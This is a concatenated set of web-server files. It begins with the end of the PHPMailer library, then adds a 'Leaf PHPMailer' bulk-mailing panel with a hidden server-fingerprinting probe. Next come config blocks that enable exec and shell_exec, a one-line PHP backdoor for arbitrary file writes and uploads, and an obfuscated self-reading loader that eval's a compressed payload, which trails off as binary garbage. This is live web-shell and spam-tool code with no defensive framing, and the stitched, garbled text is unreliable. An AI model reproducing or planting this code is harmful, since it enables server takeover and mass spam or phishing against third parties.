        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base6'.'4'.'_de'.'code'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$uklM='subs'.'tr';$aOtc='gzuncomp'.'ress';$Tgoe='file_'.'get'.'_content'.'s';$WCrv='st'.'r'.'_rep'.'lace';$ZicU='ex'.'it';eval($aOtc($WCrv('ryglzeaqfc','>',$WCrv('lbxavwcrsj','<',$uklM($Tgoe( __FILE__ ),-171996)))));$ZicU(0);
?>
xLGP֞,,XX&'}򂜡a3"Pdfa/[.ryglzeaqfcO0|o60^~L(|,~_VwV{LҸZ[m\uo_S8??L_׊v[o6LgGϱ?_\^N%a۳3̸aC2ě+8\H7"Fӿ$PWAW2x.Jc^[f_|5s;VǏryglzeaqfch#L&g-塾cݹӻJXH^`J-~"gdؿ^(!Cvʗmd,6}]]R0+gW{8ڤfaeӫ2yu#FPCLȚ:_JlaE-/ryglzeaqfc
!j7oiAP+XF@
%m/lbxavwcrsj_^!
ot~'.2:P;.~:5XAzOLK00hHZJILje18+,Pz_'yYnw8^gL#w|@L`/ƪxϠ %EkdoP]}ZT%IW!*OiR@(3\lbxavwcrsjab] q=~2ECƀ|+UB|la);)-o񻠄-/!5՝mӑ{F}sryglzeaqfc@0@1@v͡)Yj)۲ا6E	P4L{Y[5%`J܂P^n¡UMǼ5Jt$$]#}f9Uf༤5sb.|P-,s,q8:apEES|)B4-XNhLYU!UY-M+,5L]uV? |&#8rjcX\Wوm\=RvcB=$mBFSؤڭ1oR
YQ6UYYټ;Ggxn\r		U.%0p3F|(yplbxavwcrsjTXhFza蠾4"ap.Z"ryglzeaqfcƩdd1Ϥ~dD4?QKN$8d|Eryglzeaqfc]'G%bиU{XG eDнZςcIhkWVwo`ӣ]А`_'o7]}nNոqz
- P_O-VCFʆtu,KL888=P5lbxavwcrsjYEKn$]-'˺Uryglzeaqfc7^xRo)!|lbxavwcrsjC*7lbxavwcrsjM3C[7)M#[\E*
=o sC07a{- J^^ROv_Jzr1C^OzG}![\ϒP3K
$Vx٤q^_}a#tr
eYpeuICDLܥQzx#N|f8KکU(!,:wryglzeaqfc,a
kJ\W{t+@Ey'y5TwPwcح;Ύ5g̨(~P̇n!dUA(ɉ̂)yo)-R	2=R{Dc⡢{kG!;U	lNT$R@OR$ዾ|1
?o}rm8ZNč.zpc1vozf7h{^HYJ N:׺SRB(6cfb*S|2mY7a~e_1c ryglzeaqfcW݅۴|B$YN ]80cqUe9K#HJDE/JV:G+ܖ3;
F

@s @"Q%q00g!J=FT=1"! ZvQn[j
4;8^{*Jfryglzeaqfcn2&ϻ_&(.*	,a(\]Ҷ,K1jxQۺ
[γkoQEAi{U.2BU@5}N3?,C)ualbxavwcrsjR8]?:oRLD%#`1]va@=6Ex4kBwH?pK!'Y[j;~#dMn*K74Iz^Td8"\V+oFB1Mk$GfHn5] PBlbxavwcrsjrYlT}eĒ4o֭FSݘtt !ʇnl/lG
-ub|F星~}\ݾ8߽kDse2WOYe+Z*4
ws{|
lFNPn)	Yf#=Hbm0dt{m
oq0+Cz4hA(Jo	Ex}?Y"9qF*\ryglzeaqfc/VIӄfmT{od;+#w7d^L5,-h`a(X XMWrChh;9[ &R~~i	ARӲgܴ4Ztp a3S
-CG=P20jZTsӑQy֡a6_"N|ryglzeaqfc7pnv/.sAkvp7StԖ7@daz*ZQ*0(;}@ XS=
,?^Δ!..r0B'&FWh?_lbxavwcrsj^$Zո MP!(t3hDNEK̏-#y"g+xw)p*(m&8{2H7A&!JxkXvn*%#}:м񈆅/%ydXQ&	/3~w!pk]أ饿q@kȀ\[[YYS
ؘT&΄lbxavwcrsjzzoz߅e+j 1ȕ h(*g`Ad.)`hu&ryglzeaqfc$.P4_i|{ryglzeaqfcz5M#A\E61
{0"R=B7Lb1ɻZ7I-VoeFƮO!=_SS/ێ6'X^R9{A\b?k8$wW_ryglzeaqfcZ
=Ul}nR=rq۝rkCQfޣs*S6;83oby (F^c`YׂkRŘ$ CP
2žƁ*îtǯr02v'h^Isʃ yOX-v/hsra*5ѳ{u K)$={;#QTRkm,9hqz}J8+zeNnĶDA쾬%*eіfE*kKdryglzeaqfcy^IDiϜ0GWgVhdiՆv6"P:^btJLss䳯X-yWJˎL,D)SBz0
Ľ|ba)`pIpdƙb.3}.G3"jGZ'jT9lZX~֟B%albxavwcrsj&)g	(ZJ}5/w0F;ҿn?{\"@C7eZC'ڔTsuM2J]
1p_A9)z(K6vEr}(B}آ$KOb؆ryglzeaqfcńbH1r$䴗ʹ;O	ryglzeaqfcS\	a3~Pj6f=;QqèRlbxavwcrsj%MT.DGU⑤ۼDח;Pk杦ž,qAa0a	ΟX Aw|IOt9 ~e*H=clbxavwcrsj6E-&OU XxMqD 9O]zhH|&H6юǁՃ=_W?^[dvv)T9I]$Ua
AzU?Yԯ	zk#~g]o!P_*Ov.-ryglzeaqfc25K.Lt-w%bI~) Dϣn[ryglzeaqfcX(g׉°#ײӏnN؅=K9E$WH*[((r[iswT?u'~L5R)kUmT zpaЈ2n*6a|?WF&Gb!kKҚR=/
@B&J. v :c6\i-\9vlbxavwcrsjD;!ʥZdȗO9OtJ[DESet
wi:n/AՋ^),ʴɴO7-"N{58jT
xr5k:aƶI{y|fR*_ QK͹94m|c* 買kQ-r~{E7&`1&	1M=g{dA-r5B'w!ޯKF!a`@D/);#AY.@$'e:aC\
Gc#K==ץjBm}KV+hcZ|i+C" ;-OS֋Ƀ5@ǽD;^_B	~6x0piuD=dԒ"2Qw:DT5"'`CH9\(&A lB(e&_'`1kŶ?ɝz`N a+2	m^oq_~DHr0/\ƒ~oAx1_s3&#U 3g_kMw,fkxâ
=TIx`	ryglzeaqfcxHM&Bi{E2!QzjlbxavwcrsjC8X3Lh&Np"ްR4_KD1_# D	m*&HJ/'fX  t7qUUoe:1@bt#|IZjf(w2?~_O)[jaQa- '	7=d~w \uv
Ex)lbxavwcrsjGl]-֐lbxavwcrsjF*lc}.NQ?CQ)J)lbxavwcrsjNW
4H3lhJV#0Wվ.?Ngf#6~#/)ecMKƱ}vryglzeaqfc ߸%b
yWc5A̯{z4Gľ.
6h+Q:ryglzeaqfcs[B鏙~lbxavwcrsj@6Qrm#;w[NF"Aju.ϗdQٳp@?hryglzeaqfceR|gRNҬ)5}0vI-
\kQ~߂rj;KDz1_}aMԏzդ!0T.GN~~2-[zPìyfW1
5.x04+eõ	#=Gݽ\SPMuu5Δ=B~	$$кZ2⼽hQ宜u?\Sw6^LHgy:ӹvJ/M
`Ίryglzeaqfcm[Xjlɟf)RXS5eϓ0A=!}ryglzeaqfc#QNEsbZ6%{3'"k6Ŗ*cws Iͺ
?}t
pћVG,b1`٧QB+Wg"AԸKʟKs_I7{&ʤ'n{ʃ݉X}Wו'u܎;.@ryglzeaqfcoZbc:B+X#²
J}?wIwfʯ0Ԙ&+J"NpEpCwV
w=1/yhIvIhEHryglzeaqfcLOlbxavwcrsjlSaQd&FJ_In2PrJ$-lbxavwcrsj;puHryglzeaqfc`#ւ0kFE5**̾k,Yu[86j "tO#+ЖC5]!5
UptXlbxavwcrsjTQ%:ʌڊ /@*^@b!*K^B:WNYAsu/ф#lbxavwcrsjm]KxǯL{ #/.-ژh
@M֢q8zPszk@R~h+vוI
PtzCǱryglzeaqfci;)5ryglzeaqfcEK }Z^kLryglzeaqfcrotRi Hf	I~pzlbxavwcrsjaWLm՚gn+l K`~ghw"fHE9yz[q{PΨbqTEvaBy` k%YmTݏx\:Ju|dHl:#yy[O.f	\Z#6YU1=U,2\Fxn0 QcTѣee cqK|#5#hѶS葉Yd|G޼Iw:]f%쐜baw[Mn[+tsryglzeaqfc7~!-4NI
\ڛ WyehB5ㄞ)!":.{5{2&.щjOXb~K=6=ꩇ4?mysZg#9;JryglzeaqfcLh$ryglzeaqfc7	bR1yjь&WaCGuASQ?\(tlbxavwcrsjHd+8֑k7
ܐӠj@ÑYT8L_x.{y \gy2SQdsϾ˞J}:|{cBg]!z
؄r%3!+=Ӎp̏Flbxavwcrsjq(QĻ,56u?G,?Osݽ|WETT!+kfȱNeT0ɱ8o۽0PYzTxzWG#R~GMReCǀZ1=~"	e(Rm""@lbxavwcrsjIܬ~&rIȨ?d@bmf9c8
+mOxQ3,bI`

F6*^i#z;F5쫳r핽 7\ڶSF	 \]M'
vz	9MA
BJS	I/%%)jhμ\@ryglzeaqfc¯H
ʜnHM)B&x ~?m{[.[
^-l'f	+'}WeH8zڵf)/BfbZbsuīn3EBcHB`.ĺ9^0SClbxavwcrsj_¦}/f}"fg3\Cryglzeaqfcpz	.N@]|{[ryglzeaqfcgt+rwd" 5-5좜eg4wŎ={; ?Ҩω 	=l
sS._n}:ȈӪ|y[9dlLOc|43Y3KNy
|lbxavwcrsjV`pYP"_aFKzs(`."NgzT.xxR}lbxavwcrsj_ryglzeaqfc@1*GkLmNK4,
Zb'{RYnD_;oGEO	/ZgX%?GPXڪ_Ec-J@r?Ҝir	^3빠5RLلB/C\8lbxavwcrsj676ȖW
| GgL|dq*.[E!F[qTL@CK]	`bBQh,ŲHp|
9sLy.߂b"H1o{"p}kMMpuWS[\ē&yg۵rL9ǢOzlbxavwcrsji"m*s٤SCO
,Q~s+(o%̿oC8/Gbk:d&PvЇ6ЇPdy9֧6x
X!憔[p2NpfCިDsw2|lbxavwcrsj_b؅"&TxW
2ir~K̆j\gB@ktbHVZ"gR7N ;LÞI㬉;Hoq
?870f@!YQuF뻲8gY|!99d	_|`m.=R=lbxavwcrsj(Rn93_L4%unt*?SDm"&R:3{__=f%ub(F?
;;?Cׄ|rJ}J'-\9jVe3evH;4jӞx=ٴ/S;=Y93(廃!
*7~Aav4sJ:NeWN	DKB%*2˭$]Q搰J'DG&
0Z98u! ryglzeaqfc5}Z;RFV/O1}Uhc1?(/ia~{D/z0YT;H4?1
nRPeEExae{Ɣ$_6[wmHrWC"j!q6TO3αtDPځ4REc1xIKhP_T`8'wpar,ryglzeaqfc3@Cgr\"+ĳلWyi :(:TlbxavwcrsjJlH08?v]e
Ǌm)G&2*NTBBGm2,
e4EJ:ⱧMي%]\";_Om8Y9Bv#O׹@ձ
ZWd5+\p|HV@g%e	Bw8i$wiɥP̦(+, jtryglzeaqfc=ZEwNO!~ryglzeaqfc^FP8
=
oj'~&w[Ye;lbxavwcrsj|dÊ|;G@=O6P^ƟkXUX4k:ī !NfJn1YJl(RUx.N kD9BnYY
{Pr1.dG=fѳ{~!stgcj8ܘ*#Oeh	RC$`z3UqZryglzeaqfcF|C\-lbxavwcrsj3$81ZWABblbxavwcrsj[Fryglzeaqfc$n1
FFM0ֲcago-	i56ƷZ~\XD`,=%P,:k~'\lbxavwcrsjˎ婍%6KϳURmE/9բ-ikdiiwŀ(*ۿ fOi)x];IID/ %:-A"O?(X~;}Iv#Jv`hflbxavwcrsjr5T @5=rOwl|i~گosNFNRryglzeaqfc}BI;
g}
Mϲs&x5rcY~N1(ۨS_uNrl[mclV{LVCZF/5Er&ۄ˛&=	Pf)3V^lbxavwcrsj8w$(1~^q=W6QԮ_O*
KilbxavwcrsjM.S&Y2Ğ@V1dT-3[@k'rRjn@$ͧ7!ot3QܻH a?â#=D6p˘	J-K%Ӡ?@NH"L&y3kF@cTڀm8|Lqp{#zSƜΈn?X4Djp=q 0ӆ|@ryglzeaqfchOqAzjUoO/]L%d&"]r9zL}s0I21{?:rC]-}+&qMѕ_]uaFI'e*}W/yVo'SE3\7BT-4llRX|-I;Py	nݒXdy¿]!?3-gAYŅHW}'$jq JGF~PAVz?H֣^P~?x7Sj7˂z41_Fa\4W󷦷@C4FTX8ׁ-olbxavwcrsj2%0x4bO+A
|腶,ryglzeaqfc:4=6Π\}l:XJqlbxavwcrsj9Cryglzeaqfc3 !PHܣ3jQ7wJpryglzeaqfclr|`"o̤dӑYlbxavwcrsjgli-ryglzeaqfcGXW?UtA wnZڋ-ZK8$(8*ߊffc __
m]6ܲ*
o/ڴ\@/4	yH1-qQY4ĝ	_kix^S6-lX}$8mCЫ;
HIFryglzeaqfc/l|"̴J(gQ!`u=Ф#4]Srgvd
s(:CV˜Z[אz~nryglzeaqfcl3!ZE qQ}Tka}W+ryglzeaqfc\.:4x392ׄB. h)z~Nݥ/?5lQ4S`ƨ"76&4gH\H*\Sx&rcA#~_͕֋2c[3znsoryglzeaqfcʘ͕m +9_9p|G3Dryglzeaqfcr7Y]XbČkqryglzeaqfcmu#g"¢`sgvmWH#X|}"62XZ͡z&2p/0$WS[2dj:V.vM@fryglzeaqfcHiVs3G,$;5&'s(V%_S8t;I`klbxavwcrsjflbxavwcrsj(gX!\B@jQ\^lbxavwcrsj-ܮI=k	X+kaDbZmiWC
{,BDѺ?Sk"Sc#mu qܵ.~%8-Gn6{_'iT׭Z0l㔯Њ%3v	o ryglzeaqfcDD0=QW O#+w#FMX}86ȵ
lQzsW5:wɼ{cy?3ăVckɼ1lj0lqXdjks+
2#b.
ꄴ?B Y,BOe9EZ=A}8lbKUmlbxavwcrsj^))KH!ǃθv	P8_
O:@1pr!J{	L $eN6coT-Eox/\*4i801/w$QV&vҌzKyqv|,gpv
y/x83P?,)kS%x=%&%{%k0YxIʛaixoZA@i*zUfk@Mjן#q4[pDɦwryglzeaqfc3,TuMXuXkJҹoƖ'eW]sK bo͹E73ڌ:u6e9Nˍ|{&4~gM]|!·pV㡩%ehJԯ&rSJJw6##K&}6oV/F*:e֞K~T0p
u"~61l zwoSw~7lbxavwcrsjHXMӑQAo~S2?+xf߭I񄒴qLۚAw[O$XP1WY&y)hGw~Pb)\	DJ9x6_
Xryglzeaqfc.HǬryglzeaqfc8rf[whs%|qowB"I谪F9r4
 f_9SA&SHSg0(ouryglzeaqfc/N$Ds7n4^Y%۲ryglzeaqfc 7ͳTKS&+ϕz%6bF=
:?ʠ`Vm GQlt]F\7o0hG
4r($c::Fʴb5NA9ܣnE+r}3;-cUzcۜ\1co/)` "b
DS;@9eIrlK%kЬf:N䈤dR7=.J-DZGjlbxavwcrsjGKIЙ̟v(sb"߰
7pr4w?+l┿4#R~*(#޽s)/3	3%m8xz&X8l6ϡ$oLN~dK#9SO3*
̥ryglzeaqfcmݚQUNdb	ǁwc@cVYAXRӸE`#M;1]`O&v1@A HH);Aryglzeaqfcڢ	40lbxavwcrsj.w-:)d2}ӫx3:6Ƴ/%aA7V/C`|+Ϸ2X(M\NryglzeaqfcUS%gT/Lw!6l^,Tj!ppT1:.p*
mlbxavwcrsj.ܠ}~_39C?bHxKA_@ܘ{Mn}A t/f~E,g+w9ˀ?`x\],q&U2TMRp%nU4Ȫk}JO)c2lQu#9SQfrOgY*@X 3$]x^ҹIå-e Iݧ(glv]LVoblSq~6/
YghM2vtJm[;IrH-F[ 6_Cryglzeaqfc'qj=zi?tHGX;
yy[%~hAs9iQED	1|p`\KjRyJ7n{lbxavwcrsj-n2r&æh}o5Ҵlbxavwcrsj\53e62MHxi?ޫf,J"
xTHQ=z5!Oryglzeaqfc`R g%K 酃~
G5 E$}u*C~41^ڠ]W~)Xe%=w+3S:%tcflbxavwcrsjzԜJ^uJ_^bQgdy&ML~TCsG/3s7qày@	bkk֜5ͬ5f?ʾb)X_$ԓLJe/̕ʪit&e\W#'
qR-)qj$F^+3|F/T&StQoa2 v(g.$2Gbթ6
O7i2pW:cn6Ӛ,uS&?Z7x9;ՖswLvUjh*cml"X	4	aPYu53+9yVnP nXHcm)if␚ K5PVN/4,fYI-_O7Ho+O!&twҺxgS@
Ξ[p]P		ЬBV\j2DIp5
e%ryglzeaqfccR_O4ۘ!,|*+3mGL ryglzeaqfcm!^ā羵g^%~\v܆_ד,,]7v~BkDIYr".[dS7Mdb-c4\5'lYɵ5y8@c,=T
anci|ywj9	Q?NY%]J
s+bwA..޽;.mEXʿAK͆Q:0T%h$Ccz*Ww#1"/)?l (lbxavwcrsjFj׾ΗhZr}WקxtY(SEbZ04~JX8hO%ilbxavwcrsj2PD'ݛtryglzeaqfc5ܞe捫A`:ylbxavwcrsjK[ì﫠!TGIg㷀W*Ow+W w'r̔k~N^uty\h6VZM &۪Ï:tz,ܺZ~_KDryglzeaqfc_ǄgS33QAs
}VIϔ)WN`ʫTryglzeaqfc!hKZ]Ә!L@!ryglzeaqfc?imkJ۬	@i؈DBDiqr$I5E,RL`+[xxrmvM g3EκJ ΦBި
3W9Os_持-7?J(!`(yQW׺.MR''B{eb䅑lJ,qf!mryglzeaqfc/yVS.J.*nj*x#U mkr	
^^ËumI\aOڶus_Mu7K9x0)Un'vzYt=T=*q:CM.#dlbxavwcrsjMQgPp'.kbP74h&]wJyuxu-zrY/2~9!dW$*tro
0AR_$jOWJv^v;(~6LR0D*:ѬlbxavwcrsjuRuw`XݏOryglzeaqfcmlbxavwcrsjvw^,Ѷ|wȚTAY'x')ۇw5$t#[nU4cʚt{gA-WGX.`zr=o.ٚm(3PfsB۞Nryglzeaqfcr&s:B櫨sCFO	7Q5Hjlbxavwcrsj
S~HFN"WC.4fQf'=Ցn
?8R?3\Al#]`xO(t _\YRhG@Uq_J᯴;
P{2ͩ7_?z}nqBE"hlbxavwcrsj^i/au SLR)Ko&I6R`2ݕ֫ )}g*?y_{֟1MBHaS֤=I)c}i*HDPQaR!_u=lbxavwcrsj*'FQha,]V[lbxavwcrsjDq&j4oo:^tQC+C@0"Mm=l0fq30N9߂|(,Z6;d2P٫Ew{&u=bbj߂$91OL8޿}Iѕ^96TΖ(S%2lbxavwcrsj$G^ܿlbxavwcrsjEOKCA~C׼u/Gԕ={d9ڑMaߪAi1|	BjAF5.øH͈!g51JBCD܆=M-z8)el%,¤[/p+ryglzeaqfci"t9lbxavwcrsjkX4K/ޭmȬ/܀|
IPryglzeaqfclbxavwcrsj*ҁYCYa ɩ,$z3fIӓ@76ν$`˼43,-ߟB$;mZ{R8`iv:NNZ׳׼34q7٧ߐY;i):ߴ	Yyf׽Tw^cAfU+2VotIWzy elbxavwcrsj;Ǖy,R+cZץc6cG$flbxavwcrsj{GYll&ܳ2^SR^P2!S3*t0n/-9Vo׆ɷQkO#yBHLkrČNcL.oK5Q7DIݼ@eq{|DStJ4Ô5P֘v-cl,]gb/s@
U\7.7i$7΋yF[br竀a\	
;|WDuT΀4װH]geZimܿ6/;än 흟OO5݊cՒlbxavwcrsjG#d@aO,C%7~b0(*a$7.VV×ّ䕨9CsuF6KƂWjN'Bryglzeaqfc)dcE$Zh:_(qPQZbe"Vedlbxavwcrsj-	b+#yCÜ F8xǜQrE`џM${Xgk@wEI
X_ilelW/LdCVne2رc*](&igQ)?߇YY=?ryglzeaqfc؆"f|EV/M	:H4XAqᘠ,(f#OWlbxavwcrsjօCw}/eCe.)R"
3W[3ړ4ѯ烋2'9ı*YRq6Z2D%d-_^c4|ߊqBZl)ƒm8k21o)bmVRfq#U\|Ă[C"5]|
4L4.Ah9J
{]P!kTDc'X@31#TrUfM}8Qgf@Qg1/!pU@$YW?j3~lK֭u^9N߈qlbxavwcrsj2ȵUdryglzeaqfc,a
XRz(pb\~6y
]!RW0C'5"pF	qX7u x1p6h(=v&19PmHg	X浕GbTᵦ[9Jk4+ ulA,ok6/
?oryglzeaqfc
5lסfcc*l(C Ycɞ7-8/J\ЌI\
DH,6Vq8[jTMCLQMXܣPH1ŉTOWW_Һ.,	gT[\:lbxavwcrsjyrlbxavwcrsjz*^(-:G.@7c¾%+}rFa݈gVE`mҗaYp"yj;@w-j 9QQ"y|*2J0IUVzr
VO
XSBp.
eo?
